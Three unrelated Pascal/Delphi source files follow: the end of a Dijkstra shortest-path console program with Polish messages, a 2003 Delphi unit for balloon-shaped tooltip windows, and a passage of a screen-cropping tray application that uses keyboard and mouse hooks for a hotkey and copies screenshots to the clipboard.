writeln('Wezel ', nodeId, ' nie moze zostac polaczony z wezlem ', endNodeIdString, ' bo nie istnieje!')
else if not isAnInteger(distanceToEndNodeString) then
writeln('Wezel ', nodeId, ' nie moze zostac polaczony z wezlem ', endNodeIdString,
' dystansem "', distanceToEndNodeString, '". Dystans miedzy wezlami musi byc liczba calkowita!')
else
Continue;
isUnderstandableNodeDefinition := False;
break;
end;
end;
function areUnderstandableNodesDefinitions(nodesDefinitions: ArrayOfString): boolean;
var
nodeDefinition: string;
begin
areUnderstandableNodesDefinitions := True;
for nodeDefinition in nodesDefinitions do
begin
if not isUnderstandableNodeDefinition(nodeDefinition) then
begin
writeln('Przerwano. Niezrozumiala definicja wezla: "', nodeDefinition, '"');
areUnderstandableNodesDefinitions := False;
break;
end;
end;
end;
function createNodeByDefinition(nodeId: integer; nodeDefinition: string): NodePointer;
var
edgesSize: integer;
begin
edgesSize := Length(getNodeConnections(nodeDefinition));
createNodeByDefinition := createNode(nodeId, edgesSize);
end;
procedure appendNodesList(var nodesListHead: NodesListPointer; nodeToBeAdded: NodePointer);
var
nodesListElement: NodesListPointer = nil;
begin
new(nodesListElement);
nodesListElement^.node := nodeToBeAdded;
nodesListElement^.nextElement := nodesListHead;
nodesListHead := nodesListElement;
end;
procedure createNodesInNodesListByTheirDefinitions(var nodesListHead: NodesListPointer;
nodesDefinitions: ArrayOfString);
var
nodeDefinition: string;
nodeId: integer = 1;
begin
for nodeDefinition in nodesDefinitions do
begin
appendNodesList(nodesListHead, createNodeByDefinition(nodeId, nodeDefinition));
Inc(nodeId);
end;
end;
function isEndOfList(nodesList: NodesListPointer): boolean;
begin
isEndOfList := nodesList = nil;
end;
function findNodeInNodesListById(nodesList: NodesListPointer; nodeId: integer): NodePointer;
begin
findNodeInNodesListById := nil;
while not isEndOfList(nodesList) do
begin
if nodesList^.node^.id = nodeId then
begin
findNodeInNodesListById := nodesList^.node;
break;
end;
nodesList := nodesList^.nextElement;
end;
end;
function getConnectionEndNodeId(nodeConnection: string): integer;
begin
getConnectionEndNodeId := getValueOf(getNodeConnectionData(nodeConnection)[0]);
end;
function getConnectionDistanceToEndNode(nodeConnection: string): integer;
begin
getConnectionDistanceToEndNode := getValueOf(getNodeConnectionData(nodeConnection)[1]);
end;
procedure establishConnectionsForNode(aNode: NodePointer; nodeConnections: ArrayOfString);
var
edgesIndex: integer;
nodeConnection: string;
distanceToEndNode: integer;
endNodeId: integer;
begin
edgesIndex := 0;
for nodeConnection in nodeConnections do
begin
endNodeId := getConnectionEndNodeId(nodeConnection);
distanceToEndNode := getConnectionDistanceToEndNode(nodeConnection);
aNode^.edges[edgesIndex].endNode := findNodeInNodesListById(nodesListHead, endNodeId);
aNode^.edges[edgesIndex].distanceToEndNode := distanceToEndNode;
Inc(edgesIndex);
end;
end;
procedure establishConnectionsForNodesInNodesListByDefinitions(nodesList: NodesListPointer;
nodesDefinitions: ArrayOfString);
var
nodeConnections: ArrayOfString;
aNode: NodePointer;
nodeDefinition: string;
begin
while not isEndOfList(nodesList) do
begin
aNode := nodesList^.node;
nodeDefinition := nodesDefinitions[aNode^.id - 1];
nodeConnections := getNodeConnections(nodeDefinition);
establishConnectionsForNode(aNode, nodeConnections);
nodesList := nodesList^.nextElement;
end;
end;
function findNodeWithLowestDistanceInNodesList(nodesList: NodesListPointer): NodePointer;
var
aNode: NodePointer;
lowestDistance: integer;
begin
lowestDistance := nodesList^.node^.distance;
findNodeWithLowestDistanceInNodesList := nodesList^.node;
while not isEndOfList(nodesList) do
begin
aNode := nodesList^.node;
if lowestDistance > aNode^.distance then
begin
lowestDistance := aNode^.distance;
findNodeWithLowestDistanceInNodesList := aNode;
end;
nodesList := nodesList^.nextElement;
end;
end;
procedure setInfinityDistanceForEachNodeInNodesList(nodesList: NodesListPointer);
begin
while not isEndOfList(nodesList) do
begin
nodesList^.node^.distance := INFINITY;
nodesList := nodesList^.nextElement;
end;
end;
procedure removeFromNodesList(var nodesList: NodesListPointer; nodeToBeRemoved: NodePointer);
var
nodesListCopy: NodesListPointer;
previousNodesListElement: NodesListPointer = nil;
begin
nodesListCopy := nodesList;
while not isEndOfList(nodesList) do
begin
if nodesList^.node^.id = nodeToBeRemoved^.id then
begin
if previousNodesListElement = nil then
begin
nodesList := nil;
break;
end;
previousNodesListElement^.nextElement := nodesList^.nextElement;
nodesList := nodesListCopy;
break;
end;
previousNodesListElement := nodesList;
nodesList := nodesList^.nextElement;
end;
end;
procedure saveCalculationsResults(shortestPath: string; totalDistance: integer);
var
fileContent: Text;
begin
Assign(fileContent, getOutputFileName());
Rewrite(fileContent);
writeln(fileContent, shortestPath);
writeln(fileContent, totalDistance);
Close(fileContent);
end;
procedure calculateShortestPathAndSaveResults(nodesListHead: NodesListPointer);
var
trail: array of integer;
evaluationNode: NodePointer;
startNode: NodePointer;
unvisitedNodes: NodesListPointer;
totalDistanceToEndNode: integer = 0;
anEdge: Edge;
procedure leaveATrail(startNode: NodePointer; endNode: NodePointer);
begin
trail[endNode^.id] := startNode^.id;
end;
function getTrailForNode(nodeId: integer): string;
var
i: integer = 0;
begin
i := nodeId;
getTrailForNode := toString(getEndNodeId());
while i <> getStartNodeId() do
begin
getTrailForNode := toString(trail[i]) + ' ' + getTrailForNode;
i := trail[i];
end;
end;
begin
SetLength(trail, getNodesCount());
setInfinityDistanceForEachNodeInNodesList(nodesListHead);
unvisitedNodes := nil;
startNode := findNodeInNodesListById(nodesListHead, getStartNodeId());
startNode^.distance := 0;
appendNodesList(unvisitedNodes, startNode);
while not isEndOfList(unvisitedNodes) do
begin
evaluationNode := findNodeWithLowestDistanceInNodesList(unvisitedNodes);
if evaluationNode^.id = getEndNodeId() then
begin
saveCalculationsResults(getTrailForNode(getEndNodeId()), evaluationNode^.distance);
break;
end;
removeFromNodesList(unvisitedNodes, evaluationNode);
for anEdge in evaluationNode^.edges do
begin
totalDistanceToEndNode := evaluationNode^.distance + anEdge.distanceToEndNode;
if anEdge.endNode^.distance > totalDistanceToEndNode then
begin
anEdge.endNode^.distance := totalDistanceToEndNode;
leaveATrail(evaluationNode, anEdge.endNode);
appendNodesList(unvisitedNodes, anEdge.endNode);
end;
end;
end;
end;
procedure disposeList(nodesListHead: NodesListPointer);
var
nodesListElement: NodesListPointer;
begin
while not isEndOfList(nodesListHead) do
begin
nodesListElement := nodesListHead^.nextElement;
nodesListHead := nodesListElement;
Dispose(nodesListElement);
end;
end;
var
nodesDefinitions: ArrayOfString;
begin
if hasCommandLineOptionsSetCorrectly() then
begin
nodesDefinitions := getNodesDefinitions();
if areUnderstandableNodesDefinitions(nodesDefinitions) then
begin
createNodesInNodesListByTheirDefinitions(nodesListHead, nodesDefinitions);
establishConnectionsForNodesInNodesListByDefinitions(nodesListHead, nodesDefinitions);
calculateShortestPathAndSaveResults(nodesListHead);
end;
end;
disposeList(nodesListHead);
writeln('Nacisnij enter aby zakonczyc.');
readln();
end.
|
{
Balloon - using Balloon-shaped windows in your Delphi programs
Copyright (C) 2003 JWB Software
Web: http://people.zeelandnet.nl/famboek/delphi/
Email: jwbsoftware@zeelandnet.nl
}
Unit Balloon;
Interface
Uses
Types, Forms, Classes, Controls, StdCtrls, ExtCtrls, Windows, Graphics,
Messages, SysUtils;
Type
TBalloonType = (blnNone, blnInfo, blnError, blnWarning);
TBalloonHoriz = (blnLeft, blnMiddle, blnRight);
TBalloonVert = (blnTop, blnCenter, blnBottom);
TBalloonPosition = (blnArrowTopLeft, blnArrowTopRight, blnArrowBottomLeft,
blnArrowBottomRight);
Type
TBalloon = Class(TCustomForm)
private
lblTitle: TLabel;
lblText: TLabel;
pnlAlign: TPanel;
iconBitmap: TImage;
tmrExit: TTimer;
FOnRelease: TNotifyEvent;
Procedure FormPaint(Sender: TObject);
protected
Procedure CreateParams(Var Params: TCreateParams); override;
Procedure OnMouseClick(Sender: TObject);
Procedure OnExitTimerEvent(Sender: TObject);
Procedure OnChange(Sender: TObject);
Procedure WndProc(Var Message: TMessage); override;
procedure DoRelease;
public
property OnRelease: TNotifyEvent read FOnRelease write FOnRelease;
Constructor CreateNew(AOwner: TComponent; Dummy: Integer = 0); override;
Procedure ShowBalloon(blnLeft, blnTop: Integer; blnTitle, blnText: String;
blnType: TBalloonType; blnDuration: Integer;
blnPosition: TBalloonPosition);
Procedure ShowControlBalloon(blnControl: TWinControl;
blnHoriz: TBalloonHoriz; blnVert: TBalloonVert; blnTitle, blnText: String;
blnType: TBalloonType; blnDuration: Integer);
End;
Type
TBalloonControl = Class(TComponent)
private
FTitle: String;
FText: TStringList;
FDuration, FPixelCoordinateX, FPixelCoordinateY: Integer;
FHorizontal: TBalloonHoriz;
FVertical: TBalloonVert;
FPosition: TBalloonPosition;
FControl: TWinControl;
FBalloonType: TBalloonType;
Balloon: TBalloon;
procedure SetText(Value: TStringList);
public
procedure ShowControlBalloon;
procedure HideControlBalloon;
procedure ShowPixelBalloon;
published
property Text: TStringList read FText write SetText;
property Title: String read FTitle write FTitle;
property Duration: Integer read FDuration write FDuration;
property Horizontal: TBalloonHoriz read FHorizontal write FHorizontal;
property Vertical: TBalloonVert read FVertical write FVertical;
property Position: TBalloonPosition read FPosition write FPosition;
property Control: TWinControl read FControl write FControl;
property PixelCoordinateX: Integer read FPixelCoordinateX
write FPixelCoordinateX;
property PixelCoordinateY: Integer read FPixelCoordinateY
write FPixelCoordinateY;
property BalloonType: TBalloonType read FBalloonType write FBalloonType;
Constructor Create(AOwner: TComponent); override;
Destructor Destroy; override;
End;
Procedure Register;
Implementation
// {$R Balloon.res}
Procedure Register;
Begin
RegisterComponents('Custom', [TBalloonControl]);
End;
Constructor TBalloonControl.Create(AOwner: TComponent);
Begin
Inherited;
FText := TStringList.Create;
End;
Destructor TBalloonControl.Destroy;
Begin
FText.Free;
Inherited;
End;
procedure TBalloonControl.SetText(Value: TStringList);
begin
FText.Assign(Value);
end;
Procedure TBalloonControl.HideControlBalloon;
begin
if Assigned(Balloon) and Balloon.Visible then
Balloon.Release;
end;
Procedure TBalloonControl.ShowControlBalloon();
// Var
// Balloon: TBalloon;
Begin
Balloon := TBalloon.CreateNew(Owner);
Balloon.ShowControlBalloon(FControl, FHorizontal, FVertical, FTitle,
Trim(FText.Text), FBalloonType, FDuration);
End;
Procedure TBalloonControl.ShowPixelBalloon();
// Var
// Balloon: TBalloon;
Begin
Balloon := TBalloon.CreateNew(nil);
Balloon.ShowBalloon(FPixelCoordinateX, FPixelCoordinateY, FTitle,
Trim(FText.Text), FBalloonType, FDuration, FPosition);
End;
Procedure TBalloon.CreateParams(Var Params: TCreateParams);
Begin
Inherited CreateParams(Params);
Params.Style := (Params.Style and not WS_CAPTION) or WS_POPUP;
Params.ExStyle := Params.ExStyle or WS_EX_TOOLWINDOW or WS_EX_NOACTIVATE or
WS_EX_TOPMOST;
Params.WndParent := GetDesktopWindow;
End;
procedure TBalloon.DoRelease;
begin
if Assigned(FOnRelease) then
FOnRelease(Self);
Release;
end;
Procedure TBalloon.OnMouseClick(Sender: TObject);
Begin
DoRelease;
End;
Procedure TBalloon.OnExitTimerEvent(Sender: TObject);
Begin
DoRelease;
End;
Procedure TBalloon.OnChange(Sender: TObject);
Begin
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE or SWP_NOMOVE or
SWP_NOSIZE);
End;
Procedure TBalloon.WndProc(Var Message: TMessage);
Begin
If (Message.Msg = WM_SIZE) and (Message.WParam = SIZE_MINIMIZED) Then
Show;
Inherited;
End;
Constructor TBalloon.CreateNew(AOwner: TComponent; Dummy: Integer = 0);
Begin
Inherited;
OnActivate := OnChange;
OnDeactivate := OnChange;
OnShow := OnChange;
BorderStyle := bsNone;
FormStyle := fsStayOnTop;
OnPaint := FormPaint;
Color := clInfoBk;
Font.Name := 'Tahoma';
pnlAlign := TPanel.Create(Self);
lblTitle := TLabel.Create(Self);
lblText := TLabel.Create(Self);
iconBitmap := TImage.Create(Self);
tmrExit := TTimer.Create(Self);
OnClick := OnMouseClick;
iconBitmap.OnClick := OnMouseClick;
pnlAlign.OnClick := OnMouseClick;
lblTitle.OnClick := OnMouseClick;
lblText.OnClick := OnMouseClick;
lblTitle.Parent := Self;
lblTitle.ParentColor := True;
lblTitle.ParentFont := True;
lblTitle.AutoSize := True;
lblTitle.Font.Style := [fsBold];
lblTitle.Left := 34;
lblTitle.Top := 12;
lblText.Parent := Self;
lblText.ParentColor := True;
lblText.ParentFont := True;
lblText.AutoSize := True;
lblText.Left := 10;
iconBitmap.Parent := Self;
iconBitmap.Transparent := True;
iconBitmap.Left := 10;
iconBitmap.Top := 10;
tmrExit.Enabled := False;
tmrExit.Interval := 0;
tmrExit.OnTimer := OnExitTimerEvent;
End;
Procedure TBalloon.FormPaint(Sender: TObject);
Var
TempRegion: HRGN;
Begin
With Canvas.Brush Do
Begin
Color := clBlack;
Style := bsSolid;
End;
TempRegion := CreateRectRgn(0, 0, 1, 1);
GetWindowRgn(Handle, TempRegion);
FrameRgn(Canvas.Handle, TempRegion, Canvas.Brush.Handle, 1, 1);
DeleteObject(TempRegion);
End;
Procedure TBalloon.ShowControlBalloon(blnControl: TWinControl;
blnHoriz: TBalloonHoriz; blnVert: TBalloonVert; blnTitle, blnText: String;
blnType: TBalloonType; blnDuration: Integer);
Var
Rect: TRect;
blnPosLeft, blnPosTop: Integer;
blnPosition: TBalloonPosition;
Begin
GetWindowRect(blnControl.Handle, Rect);
blnPosTop := 0;
blnPosLeft := 0;
If blnVert = blnTop Then
blnPosTop := Rect.Top;
If blnVert = blnCenter Then
blnPosTop := Rect.Top + Round((Rect.Bottom - Rect.Top) / 2);
If blnVert = blnBottom Then
blnPosTop := Rect.Bottom;
If blnHoriz = blnLeft Then
blnPosLeft := Rect.Left;
If blnHoriz = blnMiddle Then
blnPosLeft := Rect.Left + Round((Rect.Right - Rect.Left) / 2);
If blnHoriz = blnRight Then
blnPosLeft := Rect.Right;
blnPosition := blnArrowBottomRight;
If ((blnHoriz = blnRight) and (blnVert = blnBottom)) or
((blnHoriz = blnMiddle) and (blnVert = blnBottom)) Then
blnPosition := blnArrowBottomRight;
If (blnHoriz = blnLeft) and (blnVert = blnBottom) or
((blnHoriz = blnLeft) and (blnVert = blnCenter)) Then
blnPosition := blnArrowBottomLeft;
If (blnHoriz = blnLeft) and (blnVert = blnTop) or
((blnHoriz = blnMiddle) and (blnVert = blnTop)) Then
blnPosition := blnArrowTopLeft;
If (blnHoriz = blnRight) and (blnVert = blnTop) or
((blnHoriz = blnRight) and (blnVert = blnCenter)) Then
blnPosition := blnArrowTopRight;
ShowBalloon(blnPosLeft, blnPosTop, blnTitle, blnText, blnType, blnDuration,
blnPosition);
End;
Procedure TBalloon.ShowBalloon(blnLeft, blnTop: Integer;
blnTitle, blnText: String; blnType: TBalloonType; blnDuration: Integer;
blnPosition: TBalloonPosition);
Var
ArrowHeight, ArrowWidth: Integer;
FormRegion, ArrowRegion: HRGN;
Arrow: Array [0 .. 2] Of TPoint;
ResName: String;
Begin
ArrowHeight := 20;
ArrowWidth := 20;
lblTitle.Caption := blnTitle;
If blnPosition = blnArrowBottomRight Then
lblTitle.Top := lblTitle.Top + ArrowHeight;
If blnPosition = blnArrowBottomLeft Then
lblTitle.Top := lblTitle.Top + ArrowHeight;
lblText.Top := lblTitle.Top + lblTitle.Height + 8;
lblText.Caption := blnText;
If blnPosition = blnArrowBottomRight Then
iconBitmap.Top := iconBitmap.Top + ArrowHeight;
If blnPosition = blnArrowBottomLeft Then
iconBitmap.Top := iconBitmap.Top + ArrowHeight;
Case blnType Of
blnNone:
ResName := '';
blnError:
ResName := 'ERROR';
blnInfo:
ResName := 'INFO';
blnWarning:
ResName := 'WARNING';
Else
ResName := 'INFO';
End;
if ResName <> '' then
iconBitmap.Picture.Bitmap.LoadFromResourceName(HInstance, ResName)
else
lblTitle.Left := iconBitmap.Left;
If blnPosition = blnArrowBottomRight Then
ClientHeight := lblText.Top + lblText.Height + 10;
If blnPosition = blnArrowBottomLeft Then
ClientHeight := lblText.Top + lblText.Height + 10;
If blnPosition = blnArrowTopLeft Then
ClientHeight := lblText.Top + lblText.Height + 10 + ArrowHeight;
If blnPosition = blnArrowTopRight Then
ClientHeight := lblText.Top + lblText.Height + 10 + ArrowHeight;
If (lblTitle.Left + lblTitle.Width) > (lblText.Left + lblText.Width) Then
Width := lblTitle.Left + lblTitle.Width + 10
Else
Width := lblText.Left + lblText.Width + 10;
If blnPosition = blnArrowTopLeft Then
Begin
Left := blnLeft - (Width - 20);
Top := blnTop - (Height);
End;
If blnPosition = blnArrowTopRight Then
Begin
Left := blnLeft - 20;
Top := blnTop - (Height);
End;
If blnPosition = blnArrowBottomRight Then
Begin
Left := blnLeft - 20;
Top := blnTop - 2;
End;
If blnPosition = blnArrowBottomLeft Then
Begin
Left := blnLeft - (Width - 20);
Top := blnTop - 2;
End;
FormRegion := 0;
If blnPosition = blnArrowTopLeft Then
Begin
FormRegion := CreateRoundRectRgn(0, 0, Width,
Height - (ArrowHeight - 2), 7, 7);
Arrow[0] := Point(Width - ArrowWidth - 20, Height - ArrowHeight);
Arrow[1] := Point(Width - 20, Height);
Arrow[2] := Point(Width - 20, Height - ArrowHeight);
End;
If blnPosition = blnArrowTopRight Then
Begin
FormRegion := CreateRoundRectRgn(0, 0, Width,
Height - (ArrowHeight - 2), 7, 7);
Arrow[0] := Point(20, Height - ArrowHeight);
Arrow[1] := Point(20, Height);
Arrow[2] := Point(20 + ArrowWidth, Height - ArrowHeight);
End;
If blnPosition = blnArrowBottomRight Then
Begin
FormRegion := CreateRoundRectRgn(0, ArrowHeight + 2, Width, Height, 7, 7);
Arrow[0] := Point(20, 2);
Arrow[1] := Point(20, ArrowHeight + 2);
Arrow[2] := Point(20 + ArrowWidth, ArrowHeight + 2);
End;
If blnPosition = blnArrowBottomLeft Then
Begin
FormRegion := CreateRoundRectRgn(0, ArrowHeight + 2, Width, Height, 7, 7);
Arrow[0] := Point(Width - 20, 2);
Arrow[1] := Point(Width - 20, ArrowHeight + 2);
Arrow[2] := Point(Width - 20 - ArrowWidth, ArrowHeight + 2);
End;
ArrowRegion := CreatePolygonRgn(Arrow, 3, WINDING);
CombineRgn(FormRegion, FormRegion, ArrowRegion, RGN_OR);
DeleteObject(ArrowRegion);
SetWindowRgn(Handle, FormRegion, True);
Visible := False;
ShowWindow(Handle, SW_SHOWNOACTIVATE);
Visible := True;
tmrExit.Interval := blnDuration * 1000;
tmrExit.Enabled := True;
End;
End.
|
unit MainFormUnit;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, ExtCtrls,
Menus, jwawinuser, windows, jwawinreg;
type
{ TSelectionForm }
TSelectionForm = class(TForm)
ChangeMonitorItem: TMenuItem;
LaunchOnStartup: TMenuItem;
ChangeCombItem: TMenuItem;
ShowCombItem: TMenuItem;
QuitItem: TMenuItem;
SelectionShape: TShape;
TrayPopup: TPopupMenu;
TrayIcon: TTrayIcon;
procedure ChangeCombItemClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure LaunchOnStartupClick(Sender: TObject);
procedure QuitItemClick(Sender: TObject);
procedure ShowCombItemClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
var
SelectionForm: TSelectionForm;
kbdHook: HHOOK;
mouseHook: HHOOK;
takingScreenShot: boolean;
selectingScreenShotArea: boolean;
currTopLeftX, currTopLeftY: longInt;
currMonitor: ^TMonitor;
hotkeyCombination: array of DWORD;
changingCombination: boolean;
currCombinationString: string;
implementation
{$R *.lfm}
{ TSelectionForm }
function getAppropriateStringForVirtualKey(vKeyCode: longInt): string; forward;
function Find(const ValueToFind: DWORD; var arr: array of DWORD): longInt;
var
i: longInt;
begin
for i:=0 to Length(arr)-1 do
begin
if (arr[i] = ValueToFind) then
begin
result := i;
exit;
end;
end;
result := -1;
end;
function isBitSet(const AValueToCheck, ABitIndex: LongInt): Boolean;
begin
Result := AValueToCheck and (1 shl ABitIndex) <> 0;
end;
function KeyIsDown(vkCode: DWORD): boolean;
begin
exit(isBitSet(GetKeyState(vkCode), 15));
end;
function ArrayToString(const a: array of Char): string;
begin
if Length(a)>0 then
SetString(Result, PChar(@a[0]), Length(a))
else
Result := '';
end;
procedure Split(Delimiter: Char; Str: string; ListOfStrings: TStrings) ;
begin
ListOfStrings.Clear;
ListOfStrings.Delimiter := Delimiter;
ListOfStrings.StrictDelimiter := True; // Requires D2006 or newer.
ListOfStrings.DelimitedText := Str;
end;
procedure loadCombinationFromString(combinationStr: string);
var
combinationVKCodesString: TStringList;
i: longInt;
tempKeyString: string;
newCombinationString: string;
tempVKChar: char;
begin
combinationVKCodesString := TStringList.Create;
Split(',', combinationStr, combinationVKCodesString);
SetLength(hotkeyCombination, combinationVKCodesString.Count);
//showMessage(IntTOStr(combinationVKCodesString.Count));
for i:=0 to combinationVKCodesString.Count-1 do
begin
hotkeyCombination[i] := StrToInt(combinationVKCodesString.Strings[i]);
end;
// combinationStr is a comma separated values of vkCodes for the combination
for i:=0 to Length(hotkeyCombination)-1 do
begin
tempKeyString := getAppropriateStringForVirtualKey(hotkeyCombination[i]); // if the key is not syskey, returns 'N/A'
if (tempKeyString = 'N/A') then
begin
// translate vk to char
tempVKChar := char(MapVirtualKey(hotkeyCombination[i], 2));
//showMessage(arrayToString(tempVKChar));
if (newCombinationString = '') then
begin
newCombinationString := tempVKChar;
end
else
begin
newCombinationString := newCombinationString + '-' + UpperCase(tempVKChar);
end;
end
else
begin
if (newCombinationString = '') then
begin
newCombinationString := tempKeyString;
end
else
begin
newCombinationString := newCombinationString + '-' + UpperCase(tempKeyString);
end;
end;
end;
currCombinationString := newCombinationString;
end;
function kbdHookProc(nCode: longInt; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
KBInfoStruct: ^KBDLLHOOKSTRUCT;
vKeyCode: LONG;
drawReg: HRGN;
i: longInt;
takeScreenShot: boolean;
tempKeyCode: DWORD;
newCombinationString: string;
tempKeyString: string;
tempVKChar: char;
hFirstTimeRunKey: HKEY;
currCombinationVkCodeString: string;
begin
if (nCode < 0) or ((wParam <> WM_KEYDOWN) and (wParam <> WM_SYSKEYDOWN)) and (not(changingCombination and ((wParam = WM_KEYUP) or (wParam = WM_SYSKEYUP)))) then // only presses, but releases too only when comnination is being changed
begin
result := CallNextHookEx(0, nCode, wParam, lParam);
exit;
end;
KBInfoStruct := PKBDLLHOOKSTRUCT(lParam);
vKeyCode := KBInfoStruct^.vkCode;
// we don't want to differtiate between left and right versions of ctrl, alt, shift, so translate their codes into normal ones
if (vKeyCode = VK_LMENU) or (vKeyCode = VK_RMENU) then
begin
vKeyCode := VK_MENU;
end
else if (vKeyCode = VK_LCONTROL) or (vKeyCode = VK_RCONTROL) then
begin
vKeyCode := VK_CONTROL;
end
else if (vKeyCode = VK_LSHIFT) or (vKeyCode = VK_RSHIFT) then
begin
vKeyCode := VK_SHIFT;
end;
if ((wParam = WM_KEYUP) or (wParam = WM_SYSKEYUP)) then // we're changing combination and releasing a key
begin
for i:=0 to Length(hotkeyCombination)-1 do
begin
// if the key being released is in our combination array, remove it from there
// because the order doesn't really matter, we can just swap it with the last one and decrease the length of array by 1
if (hotkeyCombination[i] = vKeyCode) then
begin
if (i = Length(hotkeyCombination)-1) then // last one, just decrease the length
begin
SetLength(hotkeyCombination, Length(hotkeyCombination)-1);
break;
end;
// swap with last and delete last
tempKeyCode := hotkeyCombination[i];
hotkeyCombination[i] := hotkeyCombination[Length(hotkeyCombination)-1];
hotkeyCombination[Length(hotkeyCombination)-1] := tempKeyCode;
SetLength(hotkeyCombination, Length(hotkeyCombination)-1);
break;
end;
end;
result := CallNextHookEx(0, nCode, wParam, lParam);
exit;
end;
if (vKeyCode = VK_ESCAPE) then
begin
SelectionForm.SelectionShape.Visible:=false;
SelectionForm.Refresh;
SelectionForm.Repaint;
SelectionForm.Visible:=false;
selectingScreenShotArea := false;
takingScreenShot := false;
SelectionForm.SelectionShape.Width:=0;
SelectionForm.SelectionShape.Height:=0;
drawReg := CreateRectRgn(0,0,0,0);
SetWindowRgn(SelectionForm.Handle, drawReg, true);
end;
if (changingCombination) then
begin
// add the key pressed if it's not already in the combination
if (vKeyCode <> VK_ESCAPE) and (vKeyCode <> VK_RETURN) and (Find(vKeyCode, hotkeyCombination) = -1) then
begin
SetLength(hotkeyCombination, Length(hotkeyCombination)+1);
hotkeyCombination[Length(hotkeyCombination)-1] := vKeyCode;
end;
if (vKeyCode = VK_RETURN) and (Length(hotkeyCombination) > 0) then // accept new key combination
begin
newCombinationString := '';
changingCombination := false;
// and show it
for i:=0 to Length(hotkeyCombination)-1 do
begin
tempKeyString := getAppropriateStringForVirtualKey(hotkeyCombination[i]); // if the key is not syskey, returns 'N/A'
if (tempKeyString = 'N/A') then
begin
// translate vk to char
tempVKChar := char(MapVirtualKey(hotkeyCombination[i], 2));
//showMessage(arrayToString(tempVKChar));
if (newCombinationString = '') then
begin
newCombinationString := tempVKChar;
end
else
begin
newCombinationString := newCombinationString + '-' + UpperCase(tempVKChar);
end;
end
else
begin
if (newCombinationString = '') then
begin
newCombinationString := tempKeyString;
end
else
begin
newCombinationString := newCombinationString + '-' + UpperCase(tempKeyString);
end;
end;
end;
currCombinationString := newCombinationString;
SelectionForm.TrayIcon.BalloonTitle:='You new combination';
SelectionForm.TrayIcon.BalloonHint:=newCombinationString;
SelectionForm.TrayIcon.ShowBalloonHint;
for i:=0 to Length(hotKeyCombination)-1 do
begin
if (currCombinationVkCodeString = '') then
begin
currCombinationVkCodeString := currCombinationVkCodeString + IntToStr(hotkeyCombination[i]);
end
else
begin
currCombinationVkCodeString := currCombinationVkCodeString + ', ' + IntToStr(hotkeyCombination[i]);
end;
end;
RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\ScreenCropper', 0, KEY_READ or KEY_WRITE, hFirstTimeRunKey);
RegSetValueEx(hFirstTimeRunKey, 'ActivationCombination', 0, REG_SZ, LPBYTE(currCombinationVkCodeString), (Length(currCombinationVkCodeString)+1)*2);
result := CallNextHookEx(0, nCode, wParam, lParam);
exit;
end;
result := CallNextHookEx(0, nCode, wParam, lParam);
exit;
end;
takeScreenShot := true;
for i:=0 to Length(hotkeyCombination)-1 do
begin
if (hotkeyCombination[i] = vKeyCode) then
begin
continue;
end;
if not(KeyIsDown(hotkeyCombination[i])) then
begin
takeScreenShot := false;
break;
end;
end;
if (takeScreenShot) and (not(selectingScreenShotArea)) then
begin
if ((SelectionForm.Left <> Screen.DesktopLeft) or (SelectionForm.Top <> Screen.DesktopTop)) then
begin
SelectionForm.Left := Screen.DesktopLeft;
SelectionForm.Top := Screen.DesktopTop;
end;
SelectionForm.Width:=Screen.DesktopWidth;
SelectionForm.Height:=Screen.DesktopHeight;
drawReg := CreateRectRgn(0,0,SelectionForm.Width,SelectionForm.Height);
SetWindowRgn(SelectionForm.Handle, drawReg, true);
SelectionForm.Visible:=true;
// this second check is weird, i know. but i have no idea to why after setting visible to false, my Left field is being cut in half..
if ((SelectionForm.Left <> Screen.DesktopLeft) or (SelectionForm.Top <> Screen.DesktopTop)) then
begin
SelectionForm.Left := Screen.DesktopLeft;
SelectionForm.Top := Screen.DesktopTop;
end;
takingScreenShot := true;
end;
result := CallNextHookEx(0, nCode, wParam, lParam);
end;
function mouseHookProc(nCode: longInt; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
screenContext: HDC;
compatibleContext: HDC;
screenWidth: longInt;
screenHeight: longInt;
screenBitmap: HBITMAP;
tempScreenBitmap: HBITMAP;
drawReg: HRGN;
mouseScreen, mouseClient: TPoint;
copyBitMapPointTopLeft, tempShapePoint: TPoint;
begin
if ((nCode < 0) or ((wParam <> WM_LBUTTONDOWN) and (wParam <> WM_MOUSEMOVE) and (wParam <> WM_LBUTTONUP)) or not(takingScreenShot)) then
begin
result := CallNextHookEx(0, nCode, wParam, lParam);
exit;
end;
mouseScreen.x := Mouse.CursorPos.x;
mouseScreen.y := Mouse.CursorPos.y;
mouseClient := SelectionForm.ScreenToClient(mouseScreen);
if (wParam = WM_LBUTTONDOWN) then
begin
SelectionForm.SelectionShape.Visible:=true;
currTopLeftX := mouseClient.x;
currTopLeftY := mouseClient.y;
SelectionForm.SelectionShape.Left:=mouseClient.x;
SelectionForm.SelectionShape.Top:=mouseClient.y;
selectingScreenShotArea := true;
end
else if ((wParam = WM_LBUTTONUP) and (selectingScreenShotArea)) then
begin
SelectionForm.SelectionShape.Visible:=false;
SelectionForm.Refresh;
SelectionForm.Repaint;
SelectionForm.Visible:=false;
screenContext := GetDC(0);
compatibleContext := CreateCompatibleDC(screenContext);
screenWidth := SelectionForm.SelectionShape.Width;
screenHeight := SelectionForm.SelectionShape.Height;
screenBitmap := CreateCompatibleBitmap(screenContext, screenWidth, screenHeight);
tempScreenBitmap := SelectObject(compatibleContext, screenBitmap);
tempShapePoint.x:=SelectionForm.SelectionShape.Left;
tempShapePoint.y:=SelectionForm.SelectionShape.Top;
copyBitMapPointTopLeft := SelectionForm.ClientToScreen(tempShapePoint);
BitBlt(compatibleContext, 0, 0, screenWidth, screenHeight, screenContext, copyBitMapPointTopLeft.x, copyBitMapPointTopLeft.y, SRCCOPY);
screenBitmap := SelectObject(compatibleContext, tempScreenBitmap);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_BITMAP, screenBitmap);
CloseClipboard();
DeleteDC(compatibleContext);
ReleaseDC(0, screenContext);
DeleteObject(screenBitmap);
selectingScreenShotArea := false;
takingScreenShot := false;
SelectionForm.SelectionShape.Width:=0;
SelectionForm.SelectionShape.Height:=0;
